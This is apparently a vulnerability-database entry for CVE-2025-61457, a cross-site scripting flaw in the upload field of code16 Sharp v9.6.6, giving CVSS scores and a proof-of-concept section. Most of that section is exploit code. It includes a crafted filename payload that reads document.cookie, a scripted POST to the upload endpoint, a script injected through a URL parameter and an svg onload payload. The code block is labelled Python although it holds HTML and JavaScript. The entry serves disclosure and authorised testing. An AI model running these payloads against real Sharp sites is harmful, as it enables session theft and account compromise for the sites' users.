code16 Sharp v9.6.6 is vulnerable to Cross Site Scripting (XSS) src/Form/Fields/SharpFormUploadField.php.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
code16 Sharp < v9.7.0
code16 Sharp v9.6.6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61457 PoC: XSS via SharpFormUploadField -->
<!-- The vulnerability exists in src/Form/Fields/SharpFormUploadField.php line 97 -->
<!-- Attackers can inject malicious scripts through file upload field inputs -->
<!-- Method 1: Malicious filename in upload field -->
<script>
// Simulate uploading a file with a malicious filename
// The filename is reflected in the page without proper sanitization
var maliciousFilename = '"><img src=x onerror=alert(document.cookie)>';
// Construct the malicious upload request
var formData = new FormData();
var blob = new Blob(['dummy content'], { type: 'text/plain' });
formData.append('file', blob, maliciousFilename);
// Submit to the vulnerable Sharp form endpoint
fetch('/sharp/form/upload', {
method: 'POST',
body: formData
}).then(response => response.text())
.then(html => {
// The malicious script will execute when the upload result is displayed
document.body.innerHTML = html;
});
</script>
<!-- Method 2: Direct XSS payload via crafted URL parameter -->
<!-- URL: https://target.com/sharp/form?field=<script>alert('XSS')</script> -->
<!-- Method 3: Stored XSS via form field input -->
<!-- Input the following as a filename or description in the upload form: -->
<!-- <svg/onload=alert('CVE-2025-61457')> -->